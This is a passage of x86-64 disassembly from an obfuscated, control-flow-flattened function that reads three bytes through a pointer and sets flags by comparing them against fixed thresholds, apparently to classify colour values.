je 0x1404b1b08
cmp ecx, 0xf17d613c
jne 0x1404b1a30
mov ecx, 0xbfd0128e
jmp 0x1404b1a30
mov ecx, 0xa9be2338
jmp 0x1404b1a30
movzx eax, byte [rbp + 0x310]
cmp byte [rbp + 0x328], 0
mov ecx, 0xf17d613c
cmovne ecx, esi
test al, al
cmovne ecx, esi
jmp 0x1404b1a30
lea rax, [0x140ae7ab8]
mov qword [rbp + 0x338], rax
mov ecx, ebx
jmp 0x1404b1a30
cmp ecx, 0x35386b72
jne 0x1404b1a30
mov rdx, qword [rbp + 0x2d8]
movzx r10d, byte [rdx]
movzx ecx, byte [rdx + 1]
movzx r12d, byte [rdx + 2]
cmp r12d, 0x6e
setae r8b
mov edi, dword [0x140ae95a0]
lea esi, [rdi - 1]
imul esi, edi
test sil, 1
sete bl
cmp dword [0x140ae95a4], 0xa
setl r9b
or r9b, bl
mov edi, r12d
sub edi, r10d
mov eax, r10d
sub eax, ecx
mov edx, r12d
sub edx, ecx
mov ebx, edi
neg ebx
mov esi, edi
cmovge esi, ebx
mov dword [rbp + 0x280], esi
mov esi, edx
lea edx, [rdi + 0x5bd633db]
sub edx, 0x5bd633db
cmovb edx, ebx
mov dword [rbp + 0x1a8], edx
mov edx, r12d
add edx, 0xffffff0f
mov dword [rbp + 0x284], edx
mov dword [rbp + 0x290], eax
cmp eax, 0x3c
setge al
and al, r8b
mov byte [rbp + 0x1b0], al
lea eax, [rdi + 0x3285dbe0]
sub eax, 0x3285dbe0
cmovb eax, ebx
mov dword [rbp + 0x1b8], eax
add edi, 0xfff3dde0
sub edi, 0xfff3dde0
cmovb edi, ebx
mov qword [rbp + 0x1a0], rdi
test r9b, r9b
mov eax, 0xa7618fd7
mov edx, 0xf567301e
cmovne eax, edx
mov dword [rbp + 0x1c0], eax
mov eax, 0xa7618fd7
mov edx, 0x5b5ef33a
cmovne eax, edx
mov dword [rbp + 0x170], eax
mov eax, 0x2aaeecf6
mov edx, 0x760f2b06
cmovne eax, edx
mov dword [rbp + 0x208], eax
mov eax, 0x2aaeecf6
mov edx, 0xb90af727
cmovne eax, edx
mov dword [rbp + 0x20c], eax
mov eax, 0x62e019f4
mov edx, 0x6c2646b5
cmovne eax, edx
mov dword [rbp + 0x210], eax
mov eax, 0x62e019f4
mov edx, 0x428e74fb
cmovne eax, edx
mov dword [rbp + 0x158], eax
mov eax, 0xb41cf92d
mov edx, 0x757f22ee
cmovne eax, edx
mov dword [rbp + 0x214], eax
mov eax, 0xb41cf92d
mov edx, 0xa590ee0c
cmovne eax, edx
mov dword [rbp + 0x218], eax
mov eax, 0x21a1fcb2
mov edx, 0x7e344b5e
cmovne eax, edx
mov dword [rbp + 0x21c], eax
mov eax, 0x21a1fcb2
mov edx, 0xad3aed4c
cmovne eax, edx
mov dword [rbp + 0x264], eax
mov eax, 0x7b9405a6
mov edx, 0xb8ba2ea1
cmovne eax, edx
mov ebx, 0x7b9405a6
mov edx, 0x3769d389
cmovne ebx, edx
mov dword [rbp + 0x160], ebx
mov ebx, 0x5dafc2d
mov edx, 0xb3c01a6d
cmovne ebx, edx
mov dword [rbp + 0x168], ebx
mov ebx, 0x5dafc2d
mov edx, 0x899d82c4
cmovne ebx, edx
mov dword [rbp + 0x220], ebx
mov ebx, 0xa4414229
mov edx, 0x10405e5c
cmovne ebx, edx
mov dword [rbp + 0x224], ebx
mov ebx, 0xa4414229
mov edx, 0xdd8786a
cmovne ebx, edx
mov dword [rbp + 0x268], ebx
mov ebx, 0x27337b00
mov edx, 0x6626dad9
cmovne ebx, edx
mov dword [rbp + 0x228], ebx
mov ebx, 0x27337b00
mov edx, 0xed83767d
cmovne ebx, edx
mov dword [rbp + 0x22c], ebx
mov ebx, 0x2bc88f4a
mov edx, 0x1c4362fd
cmovne ebx, edx
mov dword [rbp + 0x230], ebx
mov ebx, 0x2bc88f4a
mov edx, 0xd5a68c66
cmovne ebx, edx
mov dword [rbp + 0x234], ebx
mov ebx, 0x9725ec49
mov edx, 0x62b68f3d
cmovne ebx, edx
mov dword [rbp + 0x238], ebx
mov ebx, 0x9725ec49
mov edx, 0x72086caf
cmovne ebx, edx
mov dword [rbp + 0x23c], ebx
mov ebx, 0x4b66138b
mov edx, 0x44091724
cmovne ebx, edx
mov dword [rbp + 0x240], ebx
mov ebx, 0x4b66138b
mov edx, 0xc2d9f29d
cmovne ebx, edx
mov dword [rbp + 0x244], ebx
mov ebx, 0x9375baaa
mov edx, 0xbac801d8
cmovne ebx, edx
mov dword [rbp + 0x248], ebx
mov ebx, 0x9375baaa
mov edx, 0x1e360b3e
cmovne ebx, edx
mov dword [rbp + 0x26c], ebx
mov ebx, 0x5b7b3aa7
mov edx, 0xac7f4103
cmovne ebx, edx
mov dword [rbp + 0x24c], ebx
mov ebx, 0x5b7b3aa7
mov edx, 0xa43574d7
cmovne ebx, edx
mov dword [rbp + 0x1cc], ebx
mov ebx, 0x175c1eb0
mov edx, 0x69049abf
cmovne ebx, edx
mov dword [rbp + 0x1d0], ebx
mov ebx, 0x175c1eb0
mov edx, 0x6cb905f8
cmovne ebx, edx
mov dword [rbp + 0x270], ebx
mov ebx, 0xf0ef6445
mov edx, 0x7b991837
cmovne ebx, edx
mov dword [rbp + 0x1d4], ebx
mov ebx, 0xf0ef6445
mov edx, 0xd5c03f2c
cmovne ebx, edx
mov dword [rbp + 0x1d8], ebx
mov ebx, 0xefdfc0ad
mov edx, 0xf513da8a
cmovne ebx, edx
mov dword [rbp + 0x1dc], ebx
mov ebx, 0xefdfc0ad
mov edx, 0x706001e2
cmovne ebx, edx
mov dword [rbp + 0x274], ebx
mov dword [rbp + 0x258], edx
mov dword [rbp + 0x2d4], edx
mov edi, 0x6d3ba0ad
jmp 0x1404b1ea0
mov edi, r15d
cmp r15d, 0x8337efc6
jne 0x1404b1ea0
xor r9d, r9d
mov edi, 0x8493d803
nop word cs:[rax + rax]
nop
mov r15d, edi
cmp edi, 0x175c1eaf
jg 0x1404b1f10
cmp r15d, 0xc2777480
jle 0x1404b1f80
cmp r15d, 0xecad30c9
jle 0x1404b2043
cmp r15d, 0xf9c25104
jg 0x1404b2192
cmp r15d, 0xf0ef6444
jg 0x1404b23ed
cmp r15d, 0xefdfc0ac
jg 0x1404b27ba
cmp r15d, 0xecad30ca
je 0x1404b2d08
mov edi, r15d
cmp r15d, 0xed83767d
jne 0x1404b1ea0
mov edi, dword [rbp + 0x228]
jmp 0x1404b1ea0
cmp r15d, 0x4b66138a
jle 0x1404b1fe0
cmp r15d, 0x693a83db
jle 0x1404b209f
cmp r15d, 0x72c47359
jg 0x1404b21da
cmp r15d, 0x6d3ba0ac
jg 0x1404b2421
cmp r15d, 0x6c2646b4
jg 0x1404b27f7
cmp r15d, 0x693a83dc
je 0x1404b2d20
mov edi, r15d
cmp r15d, 0x69ea72c9
jne 0x1404b1ea0
mov edi, dword [rbp + 0x244]
jmp 0x1404b1ea0
cmp r15d, 0xa7618fd6
jg 0x1404b20ee
cmp r15d, 0x9375baa9
jle 0x1404b221b
cmp r15d, 0xa43574d6
jg 0x1404b2456
cmp r15d, 0x9eadecf1
jg 0x1404b2832
cmp r15d, 0x9375baaa
je 0x1404b2d39
mov edi, r15d
cmp r15d, 0x9725ec49
jne 0x1404b1ea0
mov edi, 0x72086caf
jmp 0x1404b1ea0
cmp r15d, 0x3769d388
jg 0x1404b213c
cmp r15d, 0x22a40a6d
jle 0x1404b2270
cmp r15d, 0x2bc88f49
jg 0x1404b2491
cmp r15d, 0x27337aff
jg 0x1404b2863
cmp r15d, 0x22a40a6e
je 0x1404b2d43
mov edi, r15d
cmp r15d, 0x24fba9d4
jne 0x1404b1ea0
movzx r14d, byte [rbp + 0x307]
mov edi, 0x4d1a5db3
jmp 0x1404b1ea0
cmp r15d, 0xd05afbbb
jle 0x1404b22b8
cmp r15d, 0xe40cf045
jg 0x1404b24e5
cmp r15d, 0xd5a68c65
jg 0x1404b288a
cmp r15d, 0xd05afbbc
je 0x1404b2d57
mov edi, r15d
cmp r15d, 0xd4be71bf
jne 0x1404b1ea0
cmp dword [rbp + 0x284], 0xe
setb byte [rbp + 0x2b4]
mov edi, 0x693a83dc
jmp 0x1404b1ea0
cmp r15d, 0x5b7b3aa6
jle 0x1404b230e
cmp r15d, 0x6308a265
jg 0x1404b2523
cmp r15d, 0x62b68f3c
jg 0x1404b28b2
cmp r15d, 0x5b7b3aa7
je 0x1404b2d6e
mov edi, r15d
cmp r15d, 0x601fae0d
jne 0x1404b1ea0
mov edi, dword [rbp + 0x1cc]
jmp 0x1404b1ea0
cmp r15d, 0xb3c01a6c
jle 0x1404b2352
cmp r15d, 0xb8ba2ea0
jg 0x1404b2588
cmp r15d, 0xb6a93c88
jg 0x1404b28d9
cmp r15d, 0xb3c01a6d
je 0x1404b2d78
mov edi, r15d
cmp r15d, 0xb41cf92d
jne 0x1404b1ea0
mov edi, 0xa590ee0c
jmp 0x1404b1ea0
cmp r15d, 0x42b6cc24
jle 0x1404b239a
cmp r15d, 0x44da55f6
jg 0x1404b25bd
cmp r15d, 0x43b6e6d6
jg 0x1404b2914
cmp r15d, 0x42b6cc25
je 0x1404b2d8a
mov edi, r15d
cmp r15d, 0x42c21285
jne 0x1404b1ea0
movzx r11d, byte [rbp + 0x30b]
mov edi, 0x4e424fbd
jmp 0x1404b1ea0
cmp r15d, 0x3c98721
jg 0x1404b25f2
cmp r15d, 0xfd02ef6c
jg 0x1404b293b
mov edi, dword [rbp + 0x268]
cmp r15d, 0xf9c25105
je 0x1404b1ea0
mov edi, r15d
cmp r15d, 0xfb6d4f9b
jne 0x1404b1ea0
mov edi, dword [rbp + 0x218]
jmp 0x1404b1ea0
cmp r15d, 0x7b9405a5
jg 0x1404b2626
cmp r15d, 0x760f2b05
jg 0x1404b296f
cmp r15d, 0x72c4735a
je 0x1404b2d9c
mov edi, r15d
cmp r15d, 0x757f22ee
jne 0x1404b1ea0
mov edi, 0xcad181a6
jmp 0x1404b1ea0
cmp r15d, 0x87060d81
jle 0x1404b2669
cmp r15d, 0x899d82c3
jg 0x1404b299e
mov edi, dword [rbp + 0x158]
cmp r15d, 0x87060d82
je 0x1404b1ea0
mov edi, r15d
cmp r15d, 0x888228df
jne 0x1404b1ea0
mov edx, dword [rbp + 0x328]
cmp edx, 9
mov edi, 0x81a9b203
mov edx, 0x87060d82
jmp 0x1404b24da
cmp r15d, 0x1ec422a5
jle 0x1404b269a
cmp r15d, 0x21189a92
jg 0x1404b29d8
mov edi, dword [rbp + 0x270]
cmp r15d, 0x1ec422a6
je 0x1404b1ea0
mov edi, r15d
cmp r15d, 0x1f770623
jne 0x1404b1ea0
mov edi, dword [rbp + 0x170]
jmp 0x1404b1ea0
cmp r15d, 0xc88e996c
jle 0x1404b26d9
cmp r15d, 0xcb2fca1c
jg 0x1404b29ff
mov edi, dword [rbp + 0x264]
cmp r15d, 0xc88e996d
je 0x1404b1ea0
mov edi, r15d
cmp r15d, 0xcad181a6
jne 0x1404b1ea0
cmp byte [rbp + 0x300], 0
mov edi, 0xac3923cc
mov edx, 0x7dae0212
cmovne edi, edx
jmp 0x1404b1ea0
cmp r15d, 0x4e424fbc
jle 0x1404b270d
cmp r15d, 0x59dc647b
jg 0x1404b2a2d
cmp r15d, 0x4e424fbd
je 0x1404b2db5
mov edi, r15d
cmp r15d, 0x54ab22e7
jne 0x1404b1ea0
mov edi, 0x8493d803
xor r9d, r9d
jmp 0x1404b1ea0
cmp r15d, 0xad30486b
jle 0x1404b2744
cmp r15d, 0xafc54823
jg 0x1404b2a70
mov edi, dword [rbp + 0x274]
cmp r15d, 0xad30486c
je 0x1404b1ea0
mov edi, r15d
cmp r15d, 0xad3aed4c
jne 0x1404b1ea0
mov edi, dword [rbp + 0x21c]
jmp 0x1404b1ea0
cmp r15d, 0x3e2628b3
jle 0x1404b2778
cmp r15d, 0x3ff2fb67
jg 0x1404b2aa3
cmp r15d, 0x3e2628b4
je 0x1404b2dc2
mov edi, r15d
cmp r15d, 0x3e87c708
jne 0x1404b1ea0
cmp byte [rbp + 0x198], 0
mov edi, 0x81a9b203
mov edx, 0xf8459fe6
cmovne edi, edx
xor r8d, r8d
jmp 0x1404b1ea0
cmp r15d, 0xf567301d
jg 0x1404b2ad5
cmp r15d, 0xf0ef6445
je 0x1404b2de0
mov edi, r15d
cmp r15d, 0xf513da8a
jne 0x1404b1ea0
mov edi, 0x6d41f05a
jmp 0x1404b1ea0
cmp r15d, 0x706001e1
jg 0x1404b2b08
cmp r15d, 0x6d3ba0ad
je 0x1404b2dea
mov edi, r15d
cmp r15d, 0x6d41f05a
jne 0x1404b1ea0
mov edi, dword [rbp + 0x1d8]
jmp 0x1404b1ea0
cmp r15d, 0xa4d2f320
jg 0x1404b2b30
cmp r15d, 0xa43574d7
je 0x1404b2df4
mov edi, r15d
cmp r15d, 0xa4414229
jne 0x1404b1ea0
movzx edx, byte [rbp + 0x2c8]
mov edi, 0xdd8786a
jmp 0x1404b1ea0
cmp r15d, 0x31795aeb
jg 0x1404b2b62
cmp r15d, 0x2bc88f4a
je 0x1404b2e0a
mov edi, r15d
cmp r15d, 0x2f3af363
jne 0x1404b1ea0
cmp r12b, 0x69
mov edx, dword [rbp + 0x338]
mov edi, 0x81a9b203
mov ebx, 0x3ff2fb68
cmovae edi, ebx
cmp edx, 0x32
mov edx, 0x81a9b203
cmovl edi, edx
xor r8d, r8d
jmp 0x1404b1ea0
cmp r15d, 0xe85931d1
jg 0x1404b2b99
cmp r15d, 0xe40cf046
je 0x1404b1e8c
mov edi, r15d
cmp r15d, 0xe5411852
jne 0x1404b1ea0
cmp cl, 0x78
setae byte [rbp + 0x30e]
mov edi, 0x72c4735a
jmp 0x1404b1ea0
cmp r15d, 0x6626dad8
jg 0x1404b2bcb
cmp r15d, 0x6308a266
je 0x1404b2e22
mov edi, r15d
cmp r15d, 0x643b7ba4
jne 0x1404b1ea0
cmp r10b, 0x3d
mov edi, 0x366040e6
mov edx, 0x397e3a88
cmovae edi, edx
movzx edx, byte [rbp + 0x31c]
cmp byte [rbp + 0x335], 0
mov ebx, 0x366040e6
cmove edi, ebx
test dl, dl
cmove edi, ebx
mov dword [rbp + 0x2d4], 0
jmp 0x1404b1ea0
cmp r15d, 0xbac801d7
jg 0x1404b2c04
cmp r15d, 0xb8ba2ea1
je 0x1404b1e8c
mov edi, r15d
cmp r15d, 0xb90af727
jne 0x1404b1ea0
mov edi, dword [rbp + 0x208]
jmp 0x1404b1ea0
cmp r15d, 0x4762cff3
jg 0x1404b2c37
cmp r15d, 0x44da55f7
je 0x1404b2e33
mov edi, r15d
cmp r15d, 0x45ba25aa
jne 0x1404b1ea0
mov edi, dword [rbp + 0x234]
jmp 0x1404b1ea0
cmp r15d, 0xdd87869
jg 0x1404b2c70
cmp r15d, 0x3c98722
je 0x1404b2e4d
mov edi, r15d
cmp r15d, 0x5dafc2d
jne 0x1404b1ea0
mov edi, 0x899d82c4
jmp 0x1404b1ea0
cmp r15d, 0x7dae0211
jg 0x1404b2cb0
cmp r15d, 0x7b9405a6
je 0x1404b2e65
mov edi, r15d
cmp r15d, 0x7b991837
jne 0x1404b1ea0
cmp byte [rbp + 0x30f], 0
mov edi, 0xe5411852
mov edx, 0x54ab22e7
cmovne edi, edx
jmp 0x1404b1ea0
cmp r15d, 0x8493d802
jg 0x1404b2ce6
cmp r15d, 0x81a9b203
jne 0x1404b1e80
mov edx, r8d
and dl, 1
mov byte [rbp + 0x288], dl
mov edi, dword [rbp + 0x20c]
jmp 0x1404b1ea0
cmp r15d, 0x175c1eb0
je 0x1404b2e6f
cmp r15d, 0x1c4362fd
je 0x1404b2e80
mov edi, r15d
cmp r15d, 0x1e360b3e
jne 0x1404b1ea0
cmp esi, 0x32
setge byte [rbp + 0x309]
mov edi, dword [rbp + 0x248]
jmp 0x1404b1ea0
cmp r15d, 0xc2777481
je 0x1404b2e99
cmp r15d, 0xc2d9f29d
je 0x1404b2eb0
mov edi, r15d
cmp r15d, 0xc4f33240
jne 0x1404b1ea0
mov edi, 0xad30486c
jmp 0x1404b1ea0
cmp r15d, 0x4b66138b
je 0x1404b2ec2
cmp r15d, 0x4c2d4eeb
je 0x1404b2ecc
mov edi, r15d
cmp r15d, 0x4d1a5db3
jne 0x1404b1ea0
mov r9d, r14d
mov edi, 0x8493d803
jmp 0x1404b1ea0
cmp r15d, 0xa7618fd7
je 0x1404b2ee0
cmp r15d, 0xac3923cc
je 0x1404b2ef0
mov edi, r15d
cmp r15d, 0xac7f4103
jne 0x1404b1ea0
mov edi, 0x42c21285
jmp 0x1404b1ea0
mov edi, eax
cmp r15d, 0x3769d389
je 0x1404b1ea0
cmp r15d, 0x397e3a88
je 0x1404b2f06
mov edi, r15d
cmp r15d, 0x3bb14057
jne 0x1404b1ea0
cmp byte [rbp + 0x188], 0
mov edi, 0x43b6e6d7
mov edx, 0x48cd5352
jmp 0x1404b302a
cmp r15d, 0xefdfc0ad
je 0x1404b2f1b
mov edi, r15d
cmp r15d, 0xf014037b
jne 0x1404b1ea0
cmp r12b, 0xdd
setae byte [rbp + 0x337]
cmp r12b, 0xff
setne byte [rbp + 0x336]
mov edi, 0x45ba25aa
jmp 0x1404b1ea0
cmp r15d, 0x6c2646b5
je 0x1404b2f25
mov edi, r15d
cmp r15d, 0x6cb905f8
jne 0x1404b1ea0
cmp r12b, 0x69
setae dl
and dl, byte [rbp + 0x31f]
mov byte [rbp + 0x30c], dl
mov edi, dword [rbp + 0x1d0]
jmp 0x1404b1ea0
cmp r15d, 0x9eadecf2
je 0x1404b2f2f
mov edi, r15d
cmp r15d, 0x9f9809af
jne 0x1404b1ea0
cmp esi, 0x5a
setge byte [rbp + 0x188]
mov edi, 0x3bb14057
jmp 0x1404b1ea0
cmp r15d, 0x27337b00
je 0x1404b2f42
mov edi, r15d
cmp r15d, 0x2aaeecf6
jne 0x1404b1ea0
mov edi, 0xb90af727
jmp 0x1404b1ea0
cmp r15d, 0xd5a68c66
je 0x1404b2f4c
mov edi, r15d
cmp r15d, 0xd5c03f2c
jne 0x1404b1ea0
mov edi, dword [rbp + 0x1d4]
jmp 0x1404b1ea0
cmp r15d, 0x62b68f3d
je 0x1404b2f6d
mov edi, r15d
cmp r15d, 0x62e019f4
jne 0x1404b1ea0
mov edi, 0x428e74fb
jmp 0x1404b1ea0
cmp r15d, 0xb6a93c89
je 0x1404b2f86
mov edi, r15d
cmp r15d, 0xb88cb19e
jne 0x1404b1ea0
mov edx, dword [rbp + 0x320]
cmp edx, 0xe
mov edi, 0x43b6e6d7
mov edx, 0x9f9809af
cmovl edi, edx
xor r13d, r13d
jmp 0x1404b1ea0
cmp r15d, 0x43b6e6d7
je 0x1404b2f9a
mov edi, r15d
cmp r15d, 0x44091724
jne 0x1404b1ea0
mov edi, 0xcfb2ecd9
jmp 0x1404b1ea0
cmp r15d, 0xfd02ef6d
je 0x1404b2fa7
mov edi, r15d
cmp r15d, 0x3aa1fdb
jne 0x1404b1ea0
mov rdx, qword [rbp + 0x1a0]
mov dword [rbp + 0x310], edx
mov edi, 0xafc54824
jmp 0x1404b1ea0
cmp r15d, 0x760f2b06
je 0x1404b2fc3
mov edi, r15d
cmp r15d, 0x7acd106d
jne 0x1404b1ea0
movzx r13d, byte [rbp + 0x180]
mov edi, 0x43b6e6d7
jmp 0x1404b1ea0
mov edi, dword [rbp + 0x168]
cmp r15d, 0x899d82c4
je 0x1404b1ea0
mov edi, r15d
cmp r15d, 0x8a437dfe
jne 0x1404b1ea0
movzx edx, byte [rbp + 0x2c4]
mov dword [rbp + 0x258], edx
mov edi, 0x44da55f7
jmp 0x1404b1ea0
cmp r15d, 0x21189a93
je 0x1404b2fd5
mov edi, r15d
cmp r15d, 0x21a1fcb2
jne 0x1404b1ea0
mov edi, 0xad3aed4c
jmp 0x1404b1ea0
mov edi, dword [rbp + 0x160]
cmp r15d, 0xcb2fca1d
je 0x1404b1ea0
mov edi, r15d
cmp r15d, 0xcfb2ecd9
jne 0x1404b1ea0
mov edi, dword [rbp + 0x23c]
jmp 0x1404b1ea0
cmp r15d, 0x59dc647c
je 0x1404b1e8c
mov edi, r15d
cmp r15d, 0x5b5ef33a
jne 0x1404b1ea0
cmp r12b, 0x6e
setae dl
mov edi, dword [rbp + 0x2d8]
cmp edi, 0x3c
setge bl
and bl, dl
mov byte [rbp + 0x150], bl
mov edi, dword [rbp + 0x1c0]
jmp 0x1404b1ea0
cmp r15d, 0xafc54824
je 0x1404b2fe6
mov edi, r15d
cmp r15d, 0xb3098562
jne 0x1404b1ea0
cmp byte [rbp + 0x30d], 0
mov edi, 0x4e424fbd
mov edx, 0x3c98722
jmp 0x1404b2bf9
cmp r15d, 0x3ff2fb68
je 0x1404b3004
mov edi, r15d
cmp r15d, 0x428e74fb
jne 0x1404b1ea0
cmp esi, 0x5a
setge byte [rbp + 0x198]
mov edi, dword [rbp + 0x210]
jmp 0x1404b1ea0
cmp r15d, 0xf567301e
je 0x1404b3019
mov edi, r15d
cmp r15d, 0xf8459fe6
jne 0x1404b1ea0
mov edx, dword [rbp + 0x290]
mov dword [rbp + 0x338], edx
mov edi, 0x2f3af363
jmp 0x1404b1ea0
cmp r15d, 0x706001e2
je 0x1404b3035
mov edi, r15d
cmp r15d, 0x72086caf
jne 0x1404b1ea0
mov edi, dword [rbp + 0x238]
jmp 0x1404b1ea0
cmp r15d, 0xa4d2f321
je 0x1404b304a
mov edi, r15d
cmp r15d, 0xa590ee0c
jne 0x1404b1ea0
cmp cl, 0x78
setae byte [rbp + 0x300]
mov edi, dword [rbp + 0x214]
jmp 0x1404b1ea0
cmp r15d, 0x31795aec
je 0x1404b3063
mov edi, r15d
cmp r15d, 0x366040e6
jne 0x1404b1ea0
mov edx, dword [rbp + 0x2d4]
and dl, 1
mov byte [rbp + 0x178], dl
mov edi, dword [rbp + 0x22c]
jmp 0x1404b1ea0
cmp r15d, 0xe85931d2
je 0x1404b307c
mov edi, r15d
cmp r15d, 0xebd7ab61
jne 0x1404b1ea0
cmp r10b, 0x4f
setb byte [rbp + 0x2c4]
mov edi, 0x8a437dfe
jmp 0x1404b1ea0
cmp r15d, 0x6626dad9
je 0x1404b3091
mov edi, r15d
cmp r15d, 0x69049abf
jne 0x1404b1ea0
cmp byte [rbp + 0x30c], 0
mov edi, 0x4e424fbd
mov edx, 0x601fae0d
cmovne edi, edx
xor r11d, r11d
jmp 0x1404b1ea0
cmp r15d, 0xbac801d8
je 0x1404b30a3
mov edi, r15d
cmp r15d, 0xc183b76b
jne 0x1404b1ea0
cmp byte [rbp + 0x30a], 0
mov edi, 0x4d1a5db3
mov edx, 0x4762cff4
jmp 0x1404b2fb8
mov edi, dword [rbp + 0x26c]
cmp r15d, 0x4762cff4
je 0x1404b1ea0
mov edi, r15d
cmp r15d, 0x48cd5352
jne 0x1404b1ea0
mov edx, dword [rbp + 0x290]
mov dword [rbp + 0x2d8], edx
mov edi, 0x1f770623
jmp 0x1404b1ea0
cmp r15d, 0xdd8786a
je 0x1404b30ad
mov edi, r15d
cmp r15d, 0x10405e5c
jne 0x1404b1ea0
cmp byte [rbp + 0x278], 0
mov edi, 0x44da55f7
mov edx, 0xebd7ab61
cmovne edi, edx
mov dword [rbp + 0x258], 0
jmp 0x1404b1ea0
cmp r15d, 0x7dae0212
je 0x1404b30d3
mov edi, r15d
cmp r15d, 0x7e344b5e
jne 0x1404b1ea0
cmp byte [rbp + 0x2c0], 0
mov edi, 0x8337efc6
mov edx, 0x22a40a6e
cmovne edi, edx
jmp 0x1404b1ea0
cmp r15d, 0x86dfa822
jne 0x1404b30e9
cmp r10b, 0x64
setae byte [rbp + 0x180]
mov edi, 0x7acd106d
jmp 0x1404b1ea0
cmp dword [rbp + 0x1b8], 0xe
setl byte [rbp + 0x30a]
mov edi, 0xc183b76b
jmp 0x1404b1ea0
cmp byte [rbp + 0x2b4], 0
mov edi, 0xcb2fca1d
mov edx, 0xb6a93c89
cmovne edi, edx
jmp 0x1404b1ea0
mov edi, 0x1e360b3e
jmp 0x1404b1ea0
cmp cl, 0xbe
setae byte [rbp + 0x2fc]
mov edi, 0xa4d2f321
jmp 0x1404b1ea0
movzx edx, byte [rbp + 0x334]
mov dword [rbp + 0x2d4], edx
mov edi, 0x366040e6
jmp 0x1404b1ea0
mov edi, 0xa43574d7
jmp 0x1404b1ea0
movzx r9d, byte [rbp + 0x2b8]
mov edi, 0x8493d803
jmp 0x1404b1ea0
movzx r8d, byte [rbp + 0x190]
mov edi, 0x81a9b203
jmp 0x1404b1ea0
cmp byte [rbp + 0x30e], 0
mov edi, 0xecad30ca
mov edx, 0x3aa1fdb
cmovne edi, edx
jmp 0x1404b1ea0
mov r9d, r11d
mov edi, 0x8493d803
jmp 0x1404b1ea0
cmp cl, 0x3d
setae byte [rbp + 0x31c]
cmp cl, 0x5a
setb byte [rbp + 0x335]
mov edi, 0x643b7ba4
jmp 0x1404b1ea0
mov edi, 0xd5c03f2c
jmp 0x1404b1ea0
mov edi, 0xc4f33240
jmp 0x1404b1ea0
cmp r10b, 0x69
setae byte [rbp + 0x30b]
mov edi, dword [rbp + 0x24c]
jmp 0x1404b1ea0
movzx edx, byte [rbp + 0x337]
movzx edx, byte [rbp + 0x336]
mov edi, 0xd5a68c66
jmp 0x1404b1ea0
mov byte [rbp + 0x2c0], 0
mov edi, 0xc88e996d
jmp 0x1404b1ea0
mov edx, dword [rbp + 0x258]
and dl, 1
mov byte [rbp + 0x2b8], dl
mov edi, dword [rbp + 0x220]
jmp 0x1404b1ea0
cmp dword [rbp + 0x290], 0x32
setge byte [rbp + 0x31f]
mov edi, 0x1ec422a6
jmp 0x1404b1ea0
mov edi, 0x3769d389
jmp 0x1404b1ea0
movzx edx, byte [rbp + 0x31f]
mov edi, 0x6cb905f8
jmp 0x1404b1ea0
cmp byte [rbp + 0x31e], 0
mov edi, 0xe40cf046
mov edx, 0x3e2628b4
cmovne edi, edx
jmp 0x1404b1ea0
movzx edx, byte [rbp + 0x1b0]
mov byte [rbp + 0x308], dl
mov edi, 0xfd02ef6d
jmp 0x1404b1ea0
mov byte [rbp + 0x31d], 0
mov edi, dword [rbp + 0x240]
jmp 0x1404b1ea0
mov edi, 0xc2d9f29d
jmp 0x1404b1ea0
cmp esi, 0x3c
setge byte [rbp + 0x30d]
mov edi, 0xb3098562
jmp 0x1404b1ea0
mov edx, dword [rbp + 0x2d8]
mov edi, 0x5b5ef33a
jmp 0x1404b1ea0
mov edx, dword [rbp + 0x1a8]
mov dword [rbp + 0x320], edx
mov edi, 0xb88cb19e
jmp 0x1404b1ea0
cmp r10b, 0x5a
setb byte [rbp + 0x334]
mov edi, 0xd05afbbc
jmp 0x1404b1ea0
mov edi, 0x706001e2
jmp 0x1404b1ea0
mov edi, 0x3e87c708
jmp 0x1404b1ea0
cmp byte [rbp + 0x309], 0
mov edi, 0x4d1a5db3
mov edx, 0xc2777481
jmp 0x1404b2fb8
mov edi, 0xed83767d
jmp 0x1404b1ea0
movzx edx, byte [rbp + 0x337]
and dl, byte [rbp + 0x336]
and dl, 1
mov byte [rbp + 0x31e], dl
mov edi, dword [rbp + 0x230]
jmp 0x1404b1ea0
cmp byte [rbp + 0x31d], 0
mov edi, 0x21189a93
mov edx, 0xf014037b
cmovne edi, edx
jmp 0x1404b1ea0
cmp cl, 0xf1
setae byte [rbp + 0x2c8]
mov edi, 0xf9c25105
jmp 0x1404b1ea0
mov r9d, r13d
mov edi, 0x8493d803
jmp 0x1404b1ea0
cmp byte [rbp + 0x308], 0
mov edi, 0x4d1a5db3
mov edx, 0xe85931d2
cmovne edi, edx
xor r14d, r14d
jmp 0x1404b1ea0
movzx r9d, byte [rbp + 0x288]
mov edi, 0x8493d803
jmp 0x1404b1ea0
mov byte [rbp + 0x260], 0
mov edi, 0x31795aec
jmp 0x1404b1ea0
mov edx, dword [rbp + 0x310]
cmp edx, 9
mov edi, 0x4e424fbd
mov edx, 0x4c2d4eeb
cmovl edi, edx
xor r11d, r11d
jmp 0x1404b1ea0
cmp r10b, 0x69
setae byte [rbp + 0x190]
mov edi, 0x42b6cc25
jmp 0x1404b1ea0
cmp byte [rbp + 0x150], 0
mov edi, 0x43b6e6d7
mov edx, 0x86dfa822
cmovne edi, edx
xor r13d, r13d
jmp 0x1404b1ea0
cmp cl, 0xbe
setae byte [rbp + 0x30f]
mov edi, dword [rbp + 0x1dc]
jmp 0x1404b1ea0
cmp byte [rbp + 0x2fc], 0
mov edi, 0xfb6d4f9b
mov edx, 0x59dc647c
cmovne edi, edx
jmp 0x1404b1ea0
cmp byte [rbp + 0x260], 0
mov edi, 0x6308a266
mov edx, 0xd4be71bf
cmovne edi, edx
jmp 0x1404b1ea0
cmp r10b, 0x64
setae byte [rbp + 0x307]
mov edi, 0x24fba9d4
jmp 0x1404b1ea0
movzx r9d, byte [rbp + 0x178]
mov edi, 0x8493d803
jmp 0x1404b1ea0
mov edi, 0x9eadecf2
jmp 0x1404b1ea0
cmp r10b, 0x3d
setae dl
cmp cl, 0xff
setne bl
and bl, byte [rbp + 0x2c8]
and bl, dl
mov byte [rbp + 0x278], bl
mov edi, dword [rbp + 0x224]
jmp 0x1404b1ea0
mov edx, dword [rbp + 0x280]
mov dword [rbp + 0x328], edx
mov edi, 0x888228df
jmp 0x1404b1ea0
mov edi, r15d
cmp r15d, 0x8493d803
jne 0x1404b1ea0
test r9b, 1
mov eax, 0xf9893c52
mov ecx, 0xdd5738e6
jmp 0x1404b86d7
movss dword [rbp + 0x2d8], xmm0
cvttss2si eax, dword [rbp + 0x2d8]
mov dword [rbp + 0x148], eax
movss xmm0, dword [0x140ae7aa4]
sub rsp, 0x20
